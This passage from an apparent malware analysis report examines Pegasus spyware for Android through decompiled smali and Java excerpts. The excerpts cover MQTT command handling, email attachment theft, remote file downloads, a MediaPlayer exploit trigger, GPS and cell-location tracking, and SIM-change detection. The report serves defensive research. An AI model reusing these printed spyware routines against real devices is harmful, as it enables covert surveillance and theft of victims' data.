invoke-static {v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
:try_end_35
.catch Ljava/lang/Throwable; {:try_start_23 .. :try_end_35} :catch_9b

:try_start_35
const-string v0, "ServerPushListener subscribe start"

invoke-static {v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V

sget-object v0, Lcom/network/f/a;->d:Ljava/util/concurrent/locks/ReentrantLock;

invoke-virtual {v0}, Ljava/util/concurrent/locks/ReentrantLock;->tryLock()Z

move-result v0

if-nez v0, :cond_58

const-string v0, "subscribe ServerPushListener subscription lock is locked. returning"

invoke-static {v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
```

Figure 39

The application logs multiple messages that indicate the successful connection and the subscription to the topic:

```
new-instance v0, Ljava/lang/StringBuilder;

const-string v3, "ServerPushListener subscribe Connected to "

invoke-direct {v0, v3}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V

iget-object v3, p0, Lcom/network/f/a;->i:Ljava/lang/String;

invoke-virtual {v0, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;

move-result-object v0

invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;

move-result-object v0

invoke-static {v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V

iget-object v0, p0, Lcom/network/f/a;->h:La/a/a/a/a/b;

iget-object v3, p0, Lcom/network/f/a;->j:La/a/a/a/a/d;

invoke-virtual {v0, v3}, La/a/a/a/a/b;->a(La/a/a/a/a/d;)V

new-instance v0, Ljava/lang/StringBuilder;

const-string v3, "ServerPushListener subscribe Subscribing to topic \""

invoke-direct {v0, v3}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V

invoke-virtual {v0, p1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;

move-result-object v0

const-string v3, "\" qos "

invoke-virtual {v0, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
```

Figure 40

The NetworkInfo.isConnected method is used to verify whether there is an active internet connection on the device:

```
const-string v3, "connectivity"

invoke-virtual {v0, v3}, Landroid/content/Context;->getSystemService(Ljava/lang/String;)Ljava/lang/Object;

move-result-object v0

check-cast v0, Landroid/net/ConnectivityManager;

invoke-virtual {v0}, Landroid/net/ConnectivityManager;->getActiveNetworkInfo()Landroid/net/NetworkInfo;

move-result-object v0

if-eqz v0, :cond_108

invoke-virtual {v0}, Landroid/net/NetworkInfo;->isConnected()Z

move-result v0

if-nez v0, :cond_114

:cond_108
const-string v0, "ServerPushListener subscribe subscribe no internet connection. unlocking lock and returning"

invoke-static {v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V

sget-object v0, Lcom/network/f/a;->d:Ljava/util/concurrent/locks/ReentrantLock;

invoke-virtual {v0}, Ljava/util/concurrent/locks/ReentrantLock;->unlock()V
```

Figure 41

The binary receives the messages from within the topic on the broker that contain commands to be executed:

```
try {
  this.a = -1;
  String str = new String();
  this(paramj.a());
  StringBuilder stringBuilder = new StringBuilder();
  this("ServerPushListener !!!messageArrived!!!  Topic:\t");
  com.network.android.c.a.a.a(stringBuilder.append(paramn.a()).append("  Message:\t").append(str).append("  QoS:\t").append(paramj.d()).toString());
  b.a(str.getBytes(), this.q, false, null);
  b.a(this.q);
} catch (Throwable throwable) {
  com.network.android.c.a.a.a("ServerPushListener messageArrived exception! - " + throwable.getMessage(), throwable);
}
```

Figure 42

All commands are added to a queue as we already described in part 2:

```
const-string v3, "addCommandToQueue start "

invoke-static {v3}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V

sget-object v3, Lcom/network/android/a/b;->b:Ljava/lang/Object;

monitor-enter v3
:try_end_b
.catch Ljava/lang/Throwable; {:try_start_3 .. :try_end_b} :catch_112

:try_start_b
sget-object v4, Lcom/network/android/a/b;->a:Ljava/util/Vector;

if-nez v4, :cond_16

new-instance v4, Ljava/util/Vector;

invoke-direct {v4}, Ljava/util/Vector;-><init>()V

sput-object v4, Lcom/network/android/a/b;->a:Ljava/util/Vector;

:cond_16
monitor-exit v3
:try_end_17
.catchall {:try_start_b .. :try_end_17} :catchall_10f

:try_start_17
new-instance v4, Lcom/network/android/a/a;

invoke-direct {v4}, Lcom/network/android/a/a;-><init>()V

new-instance v5, Ljava/lang/String;

invoke-direct {v5, p0}, Ljava/lang/String;-><init>([B)V

new-instance v3, Ljava/lang/StringBuilder;

const-string v6, "addCommandToQueue commandData:\n"

invoke-direct {v3, v6}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V

invoke-virtual {v3, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
```

Figure 43

The parameter “s=” contains a checksum that will be checked against another computed value in order to confirm that the command was transmitted by the threat actor:

```
const-string v3, "&s="

invoke-virtual {v5}, Ljava/lang/String;->length()I

move-result v6

add-int/lit8 v6, v6, -0x1e

invoke-virtual {v5, v3, v6}, Ljava/lang/String;->indexOf(Ljava/lang/String;I)I

move-result v3

add-int/lit8 v6, v3, 0x3

invoke-virtual {v5, v6}, Ljava/lang/String;->substring(I)Ljava/lang/String;

move-result-object v6

iput-object v6, v4, Lcom/network/android/a/a;->a:Ljava/lang/String;

new-instance v6, Ljava/lang/StringBuilder;

const-string v7, "addCommandToQueue command checksum:\n"

invoke-direct {v6, v7}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V

iget-object v7, v4, Lcom/network/android/a/a;->a:Ljava/lang/String;

invoke-virtual {v6, v7}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;

move-result-object v6

invoke-virtual {v6}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;

move-result-object v6

invoke-static {v6}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
```

Figure 44

The command transmitted via MQTT contains a token value that identifies the infected device, as displayed in the figure below.

```
const-string v6, "addCommandToQueue command msg choped:\n"

invoke-direct {v3, v6}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V

iget-object v6, v4, Lcom/network/android/a/a;->b:Ljava/lang/String;

invoke-virtual {v3, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;

move-result-object v3

invoke-virtual {v3}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;

move-result-object v3

invoke-static {v3}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V

iput-boolean p2, v4, Lcom/network/android/a/a;->i:Z

if-nez p4, :cond_80

invoke-static {p1}, Lcom/network/android/SmsReceiver;->b(Landroid/content/Context;)Ljava/lang/String;

move-result-object p4

:cond_80
iput-object p4, v4, Lcom/network/android/a/a;->c:Ljava/lang/String;

new-instance v3, Ljava/lang/StringBuilder;

const-string v6, "addCommandToQueue command token: "

invoke-direct {v3, v6}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V

iget-object v6, v4, Lcom/network/android/a/a;->c:Ljava/lang/String;

invoke-virtual {v3, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;

move-result-object v3

invoke-virtual {v3}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;

move-result-object v3

invoke-static {v3}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
```

Figure 45

The command will not be executed if the checksums don’t match:

```
new-instance v6, Ljava/lang/StringBuilder;

const-string v7, "addCommandToQueue checksum: "

invoke-direct {v6, v7}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V

iget-object v7, v4, Lcom/network/android/a/a;->a:Ljava/lang/String;

invoke-virtual {v6, v7}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;

move-result-object v6

const-string v7, " ,hash: "

invoke-virtual {v6, v7}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;

move-result-object v6

invoke-virtual {v6, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;

move-result-object v6

invoke-virtual {v6}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;

move-result-object v6

invoke-static {v6}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V

iget-object v6, v4, Lcom/network/android/a/a;->a:Ljava/lang/String;

invoke-virtual {v6, v3}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z

move-result v3

if-eqz v3, :cond_325

move v3, v1

:goto_101
if-nez v3, :cond_12b

const-string v2, "addCommandToQueue not our command!!!!!!!"

invoke-static {v2}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
```

Figure 46

The commands received via SMS that we already described here can be also transmitted using the MQTT protocol:

```
const-string v0, "addCommandToQueue command checksam validated command"

invoke-static {v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
:try_end_130
.catch Ljava/lang/Throwable; {:try_start_12b .. :try_end_130} :catch_112

:try_start_130
sget-object v0, Lcom/network/android/a/b;->e:Ljava/util/regex/Pattern;

if-nez v0, :cond_14e

const-string v0, ".*[:]\\d{6}(\\d)[\n]?(.*)"

new-instance v3, Ljava/lang/StringBuilder;

const-string v6, "addCommandToQueue getPatern compile: "

invoke-direct {v3, v6}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V

invoke-virtual {v3, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;

move-result-object v3

invoke-virtual {v3}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;

move-result-object v3

invoke-static {v3}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V

invoke-static {v0}, Ljava/util/regex/Pattern;->compile(Ljava/lang/String;)Ljava/util/regex/Pattern;

move-result-object v0

sput-object v0, Lcom/network/android/a/b;->e:Ljava/util/regex/Pattern;

:cond_14e
sget-object v0, Lcom/network/android/a/b;->e:Ljava/util/regex/Pattern;
:try_end_150
.catch Ljava/lang/Throwable; {:try_start_130 .. :try_end_150} :catch_306

:try_start_150
invoke-virtual {v0, v5}, Ljava/util/regex/Pattern;->matcher(Ljava/lang/CharSequence;)Ljava/util/regex/Matcher;
```

Figure 47

Email attachments

The emailAttCmdcommand can be used to retrieve emails and attachments from the EmailProviderBody.db database:

```
StringBuilder stringBuilder = new StringBuilder();
this("getAttachmentFileCommand buildRecordFileHeader totalFiles: ");
a.a(stringBuilder.append(paramInt2).append(" fileNum: ").append(paramInt1).toString());
paramObject = paramObject;
XmlSerializer xmlSerializer = Xml.newSerializer();
StringWriter stringWriter = new StringWriter();
this();
SmsReceiver.a(xmlSerializer, stringWriter);
xmlSerializer.startTag("", "emails");
xmlSerializer.startTag("", "emailEntry");
paramString1 = m.a(paramString1);
xmlSerializer.attribute("", "recordId", (String)paramObject.get("recordId"));
xmlSerializer.attribute("", "timestamp", (String)paramObject.get("timestamp"));
xmlSerializer.startTag("", "attData");
xmlSerializer.startTag("", "att");
xmlSerializer.attribute("", "attRecordId", (String)paramObject.get("attRecordId"));
xmlSerializer.attribute("", "contentType", (String)paramObject.get("contentType"));
xmlSerializer.attribute("", "filename", (String)paramObject.get("filename"));
xmlSerializer.attribute("", "length", (String)paramObject.get("length"));
xmlSerializer.attribute("", "file", paramString2);
xmlSerializer.attribute("", "isCompressed", "true");
xmlSerializer.attribute("", "commandAck", (String)paramObject.get("commandAck"));
xmlSerializer.attribute("", "timestamp", paramString1);
xmlSerializer.attribute("", "totalFiles", Integer.toString(paramInt2));
xmlSerializer.attribute("", "fileNum", Integer.toString(paramInt1));
xmlSerializer.endTag("", "att");
xmlSerializer.endTag("", "attData");
xmlSerializer.endTag("", "emailEntry");
xmlSerializer.endTag("", "emails");
SmsReceiver.a(xmlSerializer);
a.a("getAttachmentFileCommand buildRecordFileHeader end");
paramString1 = stringWriter.toString();
```

Figure 48

```
const-string v7, "/EmailProviderBody.db"

invoke-virtual {v2, v7}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;

move-result-object v2

invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;

move-result-object v2

const/4 v7, 0x0

const/16 v8, 0x10

invoke-static {v2, v7, v8}, Landroid/database/sqlite/SQLiteDatabase;->openDatabase(Ljava/lang/String;Landroid/database/sqlite/SQLiteDatabase$CursorFactory;I)
:try_end_4f
.catch Ljava/lang/Throwable; {:try_start_36 .. :try_end_4f} :catch_fd
.catch Ljava/lang/Exception; {:try_start_36 .. :try_end_4f} :catch_1de
.catchall {:try_start_36 .. :try_end_4f} :catchall_211

move-result-object v5

:cond_50
:goto_50
const/4 v2, 0x1

move/from16 v0, p5

if-ne v0, v2, :cond_254

:try_start_55
const-string v2, "mailstore"

move-object/from16 v0, p4

invoke-virtual {v0, v2}, Ljava/lang/String;->indexOf(Ljava/lang/String;)I
```

Figure 49

Download files

The malware has the ability to download additional files/packages from a remote URL (see figure 50).

```
const-string v2, "downloadFileFromUrl download begining"

invoke-static {v2}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V

new-instance v2, Ljava/lang/StringBuilder;

const-string v4, "downloadFileFromUrl download url: "

invoke-direct {v2, v4}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V

invoke-virtual {v2, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder;

move-result-object v2

const-string v4, " filename: "

invoke-virtual {v2, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;

move-result-object v2

invoke-virtual {v2, p1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;

move-result-object v2

invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;

move-result-object v2

invoke-static {v2}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V

new-instance v2, Ljava/lang/StringBuilder;

const-string v4, "downloadFileFromUrl downloadint file to: "

invoke-direct {v2, v4}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V

invoke-virtual {v2, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder;

move-result-object v2

const-string v4, " filename: "

invoke-virtual {v2, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
```

Figure 50

The process opens a connection to a specific URL using the openConnection function and sets the read timeout to 120s and the connect timeout to 1800s:

```
invoke-virtual {v1}, Ljava/net/URL;->openConnection()Ljava/net/URLConnection;

move-result-object v1

const v2, 0x1d4c0

invoke-virtual {v1, v2}, Ljava/net/URLConnection;->setReadTimeout(I)V

const v2, 0x1b7740

invoke-virtual {v1, v2}, Ljava/net/URLConnection;->setConnectTimeout(I)V

const-string v2, "downloadFileFromUrl connection opened"

invoke-static {v2}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V

invoke-virtual {v1}, Ljava/net/URLConnection;->getInputStream()Ljava/io/InputStream;

move-result-object v1
```

Figure 51

The response body is read by calling the URLConnection.getInputStream and BufferedInputStream.read functions:

```
const-string v2, "downloadFileFromUrl connection opened"

invoke-static {v2}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V

invoke-virtual {v1}, Ljava/net/URLConnection;->getInputStream()Ljava/io/InputStream;

move-result-object v1

new-instance v2, Ljava/io/BufferedInputStream;

invoke-direct {v2, v1}, Ljava/io/BufferedInputStream;-><init>(Ljava/io/InputStream;)V
:try_end_78
.catch Ljava/lang/Throwable; {:try_start_2 .. :try_end_78} :catch_f6

:try_start_78
new-instance v1, Lorg/apache/http/util/ByteArrayBuffer;

const/16 v4, 0x32

invoke-direct {v1, v4}, Lorg/apache/http/util/ByteArrayBuffer;-><init>(I)V

:goto_7f
invoke-virtual {v2}, Ljava/io/BufferedInputStream;->read()I

move-result v4
```

Figure 52

A file is populated with the buffer downloaded from the remote URL via a call to FileOutputStream.write:

```
const-string v6, "downloadFileFromUrl finished downloading. size: "

invoke-direct {v4, v6}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V

invoke-virtual {v1}, Lorg/apache/http/util/ByteArrayBuffer;->length()I

move-result v6

invoke-virtual {v4, v6}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;

move-result-object v4

invoke-virtual {v4}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;

move-result-object v4

invoke-static {v4}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V

new-instance v4, Ljava/io/FileOutputStream;

invoke-direct {v4, v5}, Ljava/io/FileOutputStream;-><init>(Ljava/io/File;)V
:try_end_c8
.catch Ljava/lang/Throwable; {:try_start_ad .. :try_end_c8} :catch_8b

:try_start_c8
invoke-virtual {v1}, Lorg/apache/http/util/ByteArrayBuffer;->toByteArray()[B

move-result-object v1

invoke-virtual {v4, v1}, Ljava/io/FileOutputStream;->write([B)V

const-string v1, "downloadFileFromUrl finished"

invoke-static {v1}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
```

Figure 53

Vulnerability exploitation in MediaPlayer

To the best of our knowledge, this is the first mention that Pegasus for Android exploited a vulnerability in MediaPlayer. Unfortunately, the file responsible for exploitation called “/data/data/com.network.android/output.mp3” is empty, and we couldn’t retrieve its content:

```
FileOutputStream fileOutputStream;
FileInputStream fileInputStream = null;
try {
  a.a("playWeaknessAndRemoveApplication inner start! playing: /data/data/com.network.android/output.mp3");
  b.a("/data/data/com.network.android");
  File file = new File();
  this("/data/data/com.network.android");
  file.mkdirs();
```

Figure 54

The MP3 file is populated at runtime using the FileOutputStream.write function. The file's permissions are set to 511 by the malware:

```
fileOutputStream = new FileOutputStream();
this("/data/data/com.network.android/output.mp3");
try {
  fileOutputStream.write(this.a);
  fileOutputStream.close();
  a.a("playWeaknessAndRemoveApplication after writing vulnarbility file");
  File file1 = new File();
  this("/data/data/com.network.android/output.mp3");
  StringBuilder stringBuilder = new StringBuilder();
  this("playWeaknessAndRemoveApplication playing file size: ");
  a.a(stringBuilder.append(file1.length()).toString());
  b.a(file);
  b.a(file1);
```

Figure 55

```
try {
  StringBuilder stringBuilder = new StringBuilder();
  this("myChmod started. changine file: ");
  a.a(stringBuilder.append(paramFile.getAbsolutePath()).toString());
  if (!paramFile.exists()) {
    a.a("myChmod file does not exists. returning");
    return -1;
  }
  b1 = ((Integer)Class.forName("android.os.FileUtils").getMethod("setPermissions", new Class[] { String.class, int.class, int.class, int.class }).invoke
```

Figure 56

The setDataSource method is utilized to set the data source for MediaPlayer. The application prepares and starts the playback, which we believe would result in exploiting a vulnerability:

```
MediaPlayer mediaPlayer = new MediaPlayer();
this();
FileInputStream fileInputStream1 = new FileInputStream();
this("/data/data/com.network.android/output.mp3");
try {
  mediaPlayer.setDataSource(fileInputStream1.getFD());
  mediaPlayer.prepare();
  mediaPlayer.start();
  return;
```

Figure 57

Track phone's location

Pegasus spyware has the ability to monitor the device's location. It verifies if the GPS provider is active by calling the isProviderEnabled function and then obtains location information using the requestLocationUpdates function:

```
com.network.android.c.a.a.a("LocationMonitorManager addLocationListiner start");
if (d && c != null && !c.c()) {
  com.network.android.c.a.a.a("LocationMonitorManager addLocationListiner add start");
  boolean bool = paramLocationManager.isProviderEnabled("gps");
  StringBuilder stringBuilder = new StringBuilder();
  this("LocationMonitorManager addLocationListinerOff GPS active:");
  com.network.android.c.a.a.a(stringBuilder.append(bool).toString());
  if (!bool) {
    if (com.network.b.a.a(paramContext)) {
      String str1 = Settings.Secure.getString(paramContext.getContentResolver(), "location_providers_allowed");
      StringBuilder stringBuilder2 = new StringBuilder();
      this("LocationMonitorManager addLocationListiner allowedProvider:");
      com.network.android.c.a.a.a(stringBuilder2.append(str1).toString());
      a(paramContext.getContentResolver(), "gps", true);
      String str2 = Settings.Secure.getString(paramContext.getContentResolver(), "location_providers_allowed");
      StringBuilder stringBuilder1 = new StringBuilder();
      this("LocationMonitorManager addLocationListiner allowedProviderNew: ");
      com.network.android.c.a.a.a(stringBuilder1.append(str2).toString());
      g = Boolean.valueOf(true);
      SharedPreferences.Editor editor = paramContext.getSharedPreferences("NetworkLocation", 0).edit();
      editor.putBoolean("gp", g.booleanValue());
      editor.commit();
      c.b(paramContext);
      v v1 = new v();
      this();
      c = v1;
      paramLocationManager.requestLocationUpdates("gps", 9000L, 0.0F, (LocationListener)c);
      c.a(true);
    }
  } else {
    v v1 = new v();
    this();
    c = v1;
    paramLocationManager.requestLocationUpdates("gps", 9000L, 0.0F, (LocationListener)c);
    c.a(true);
  }
  com.network.android.c.a.a.a("LocationMonitorManager addLocationListiner add end");
}
com.network.android.c.a.a.a("LocationMonitorManager addLocationListiner endd");
```

Figure 58

The location is stored in an XMLSerializer object containing the latitude, the longitude, the altitude of the location, the estimated horizontal accuracy radius, and the speed at the time of the location:

```
com.network.android.c.a.a.a("LocationMonitorManager addGPS");
if (paramLocation != null) {
  com.network.android.c.a.a.b("LocationMonitorManager addGPS GPS location");
  com.network.android.c.a.a.a("Satalite");
  XmlSerializer xmlSerializer = Xml.newSerializer();
  StringWriter stringWriter = new StringWriter();
  SmsReceiver.a(xmlSerializer, stringWriter);
  xmlSerializer.startTag("", "locations");
  m.a(xmlSerializer, paramLocation);
  xmlSerializer.endTag("", "locations");
  SmsReceiver.a(xmlSerializer);
  j.a(paramContext, stringWriter.toString(), null, null);
  return;
}
com.network.android.c.a.a.a("LocationMonitorManager addGPS add cell (location == null)");
h(paramContext);
```

Figure 59

```
try {
  a.a("serializeLocation start");
  paramXmlSerializer.startTag("", "location");
  paramXmlSerializer.attribute("", "lat", String.valueOf(paramLocation.getLatitude()));
  paramXmlSerializer.attribute("", "alt", String.valueOf(paramLocation.getAltitude()));
  paramXmlSerializer.attribute("", "lon", String.valueOf(paramLocation.getLongitude()));
  paramXmlSerializer.attribute("", "vAccuracy", String.valueOf(paramLocation.getAccuracy()));
  paramXmlSerializer.attribute("", "velocity", String.valueOf(paramLocation.getSpeed()));
  String str = paramLocation.getProvider();
  StringBuilder stringBuilder = new StringBuilder();
  this("serializeLocation Provider: ");
  a.a(stringBuilder.append(str).toString());
  paramXmlSerializer.attribute("", "source", "satellite");
  paramXmlSerializer.attribute("", "timestamp", a(String.valueOf(paramLocation.getTime())));
  paramXmlSerializer.endTag("", "location");
  a.a("serializeLocation end");
```

Figure 60

The process retrieves the current location of the device via a call to getCellLocation and the numeric name (MCC+MNC) of the current registered operator using getNetworkOperator. The GSM cell id and the GSM location area code are also stored in the XMLSerializer object:

```
com.network.android.c.a.a.a("LocationMonitorManager addCell");
TelephonyManager telephonyManager = (TelephonyManager)paramContext.getSystemService("phone");
String str1 = telephonyManager.getSubscriberId();
GsmCellLocation gsmCellLocation = (GsmCellLocation)telephonyManager.getCellLocation();
String str2 = telephonyManager.getNetworkOperator();
if (str2 != null && str2.length() > 0 && str1 != null) {
  XmlSerializer xmlSerializer = Xml.newSerializer();
  StringWriter stringWriter = new StringWriter();
  this();
  SmsReceiver.a(xmlSerializer, stringWriter);
  xmlSerializer.startTag("", "locations");
  m.a(xmlSerializer, paramContext);
  m.a(xmlSerializer, gsmCellLocation, str2, telephonyManager);
  xmlSerializer.endTag("", "locations");
  SmsReceiver.a(xmlSerializer);
  j.a(paramContext, stringWriter.toString(), null, null);
```

Figure 61

```
try {
  a.a("get Cell Id");
  TelephonyManager telephonyManager = (TelephonyManager)paramContext.getSystemService("phone");
  GsmCellLocation gsmCellLocation = (GsmCellLocation)telephonyManager.getCellLocation();
  String str = telephonyManager.getNetworkOperator();
  if (str != null && str.length() > 0) {
    paramXmlSerializer.startTag("", "cellularNetwork");
    a(paramXmlSerializer, gsmCellLocation, str, telephonyManager);
    paramXmlSerializer.endTag("", "cellularNetwork");
  }
```

Figure 62

```
String str1;
String str2;
paramXmlSerializer.startTag("", "cellInfo");
int i = paramGsmCellLocation.getCid();
int j = paramGsmCellLocation.getLac();
if (paramString != null && paramString.length() >= 5) {
  str2 = paramString.substring(0, 3);
  str1 = paramString.substring(3, paramString.length());
} else {
  str2 = "000";
  str1 = "00";
}
a.a("networkOperator: " + paramString);
paramXmlSerializer.attribute("", "CellId", String.valueOf(i));
paramXmlSerializer.attribute("", "LAC", String.valueOf(j));
paramXmlSerializer.attribute("", "MCC", String.valueOf(str2));
paramXmlSerializer.attribute("", "MNC", str1);
if (j.a(paramTelephonyManager)) {
  paramXmlSerializer.attribute("", "isRoaming", "true");
} else {
  paramXmlSerializer.attribute("", "isRoaming", "false");
}
paramXmlSerializer.attribute("", "timestamp", a(String.valueOf((new Date()).getTime())));
paramXmlSerializer.endTag("", "cellInfo");
```

Figure 63

Other relevant activities

The agent compares the Android version with 2.3 and then the phone model with a list, as shown below:

```
public void onCreate() {
  try {
    a.a("NetworApp onCreate");
    super.onCreate();
    a.a("NetworApp onCreate readProperties");
    a.c();
    a.a("NetworApp onCreate deleteUpgradeFiles");
    j.b();
    Handler handler = a;
    c c = new c();
    this(this);
    handler.postDelayed(c, 4000L);
    handler = a;
    d d = new d();
    this(this);
    handler.postDelayed(d, 10000L);
public static void c() {
  try {
    com.network.android.c.a.a.a("readProperties start");
    if (com.network.a.a.b() < 2.3D) {
      b = Boolean.valueOf(true);
      c = Boolean.valueOf(false);
    } else {
      b = Boolean.valueOf(false);
      c = Boolean.valueOf(true);
    }
    d = Integer.valueOf(0);
    f = Boolean.valueOf(true);
    a = Boolean.valueOf(false);
    String str = Build.MODEL.toLowerCase();
    if (str.contains("nexus s")) {
      d = Integer.valueOf(0);
      a = Boolean.valueOf(false);
    } else if (str.contains("st15i")) {
      a = Boolean.valueOf(false);
    } else if (str.contains("gt-i9100g")) {
      d = Integer.valueOf(4);
      a = Boolean.valueOf(true);
    } else if (str.contains("gt-i9100")) {
      if (com.network.a.a.b() >= 4.0D) {
        d = Integer.valueOf(0);
      } else {
        d = Integer.valueOf(2);
      }
      a = Boolean.valueOf(true);
    } else if (str.contains("gt-i9300")) {
      d = Integer.valueOf(0);
      a = Boolean.valueOf(true);
    } else if (str.contains("i9000")) {
      d = Integer.valueOf(2);
      a = Boolean.valueOf(true);
    } else if (str.contains("shw-m250k")) {
      d = Integer.valueOf(4);
      a = Boolean.valueOf(false);
    } else if (str.contains("hero") || str.contains("dell streak")) {
      d = Integer.valueOf(2);
```

Figure 64

Figure 65

```
      d = Integer.valueOf(2);
      a = Boolean.valueOf(true);
    } else if (str.contains("t989")) {
      d = Integer.valueOf(4);
      a = Boolean.valueOf(true);
    } else if (str.contains("i727")) {
      d = Integer.valueOf(4);
      a = Boolean.valueOf(true);
    } else if (str.contains("incredible 2")) {
      d = Integer.valueOf(3);
```

As we already described in part 1, the malware has the capability to upgrade itself:

```
public static void b() {
  try {
    a.a("deleteUpgradeFiles started");
    File file1 = new File();
    this("/data/data/com.network.android/upgrade/uglmt.dat");
    boolean bool = file1.delete();
    StringBuilder stringBuilder2 = new StringBuilder();
    this("deleteUpgradeFiles deleted file: ");
    a.a(stringBuilder2.append(file1.getAbsolutePath()).append(" delete result: ").append(bool).toString());
    file1 = new File();
    this("/data/data/com.network.android/upgrade/cuvmnr.dat");
    bool = file1.delete();
    stringBuilder2 = new StringBuilder();
    this("deleteUpgradeFiles deleted file: ");
    a.a(stringBuilder2.append(file1.getAbsolutePath()).append(" delete result: ").append(bool).toString());
    File file2 = new File();
    this("/data/data/com.network.android/upgrade/zero.mp3");
    bool = file2.delete();
    StringBuilder stringBuilder1 = new StringBuilder();
    this("deleteUpgradeFiles deleted file: ");
    a.a(stringBuilder1.append(file2.getAbsolutePath()).append(" delete result: ").append(bool).toString());
    file2 = new File();
    this("/data/data/com.network.android/upgrade/");
    if (!file2.exists())
      return;
    for (String str : file2.list()) {
      if (str.contains("com.media.sync")) {
        File file = new File();
        StringBuilder stringBuilder4 = new StringBuilder();
        this("/data/data/com.network.android/upgrade/");
        this(stringBuilder4.append(str).toString());
        bool = file.delete();
        StringBuilder stringBuilder3 = new StringBuilder();
        this("deleteUpgradeFiles deleted file: ");
        a.a(stringBuilder3.append(file.getAbsolutePath()).append(" delete result: ").append(bool).toString());
      }
    }
```

Figure 66

The application obtains the serial number of the SIM and extracts the “local” configuration value:

```
boolean bool = true;
try {
  sharedPreferences = paramContext.getSharedPreferences("NetworkPreferences", 0);
  str1 = ((TelephonyManager)paramContext.getSystemService("phone")).getSimSerialNumber();
  StringBuilder stringBuilder1 = new StringBuilder();
  this("BootReceiver curent Sim: ");
  a.a(stringBuilder1.append(str1).toString());
  if (str1 == null || str1.length() == 0) {
    if (!b.C.booleanValue()) {
      a.a("No Sim !!");
      b.a(1, (short)7, "LOG_SIM_NOT_FOUND");
      return;
    }
    a.a("No Sim, but we are local Installation mode");
    return;
  }
```

Figure 67

The “NetworkWindowSim” config value is extracted and compared with the value described above. If these two values don’t match, it means that the SIM was changed, and the config value is changed accordingly (see figure 68).

```
String str2 = sharedPreferences.getString("NetworkWindowSim", "No Sim Number");
StringBuilder stringBuilder = new StringBuilder();
this("BootReceiver last Sim: ");
SharedPreferences sharedPreferences;
String str1;
Handler handler;
a.a(stringBuilder.append(str2).toString());
if (str2 == null) {
  a.a("BootReceiver failed to retrive last sim. use: No Sim Number");
  str2 = "No Sim Number";
}
if (b.C.booleanValue()) {
  if (!str2.equals(str1)) {
    bool = true;
  } else {
    bool = false;
  }
} else {
  if (!str2.equals(str1)) {
    boolean bool1 = str2.equals("No Sim Number");
    if (!bool1) {
      if (bool) {
        stringBuilder = new StringBuilder();
        this("BootReceiver Sim Changed Old: ");
        a.a(stringBuilder.append(str2).toString());
        StringBuilder stringBuilder1 = new StringBuilder();
        this("BootReceiver Sim Changed new: ");
        a.a(stringBuilder1.append(str1).toString());
        handler = a;
        f f = new f();
        this(this, (Context)throwable);
